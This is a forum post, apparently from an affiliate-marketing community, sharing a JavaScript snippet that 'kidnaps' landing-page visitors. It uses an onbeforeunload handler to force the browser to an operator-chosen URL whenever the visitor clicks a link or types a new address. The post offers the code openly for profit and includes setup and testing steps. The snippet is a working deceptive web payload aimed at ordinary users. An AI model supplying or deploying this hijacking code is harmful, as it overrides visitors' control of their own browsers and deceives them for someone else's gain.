Guide Sneaky JS to kidnap user

kaminari

meannn

Grand Guru
Joined
Feb 28, 2019
Messages
322
So if you don't use this code on your LP, you leave a piece of cake on the table. This code kidnaps user to whatever page you want. Just add this code on the page, change google.com to whatever url you want user to be kidnapped, and then bam, more profit!

This works when;

-User clicks whatever link on the page or
-User types another url on the address bar and try to go

JavaScript:
var redirecting=  false;

window.onbeforeunload = function() {

    if (redirecting) return;

   setTimeout(function()  {

        window.top.location.href= 'https://www.google.com';

        setTimeout(function() { redirecting=true;  }, 1000);

    },  1);

};

To test, add this code to txt file and change it to html file and try on your desktop. For example write a domain (cnn.com) on url bar and hit enter :) you will be kidnapped to
 
Last edited by a moderator:
To view the premium content in our affiliate marketing forum (including this awesome thread), you must first register and upgrade your account. Register today and become a part of our amazing community!
Top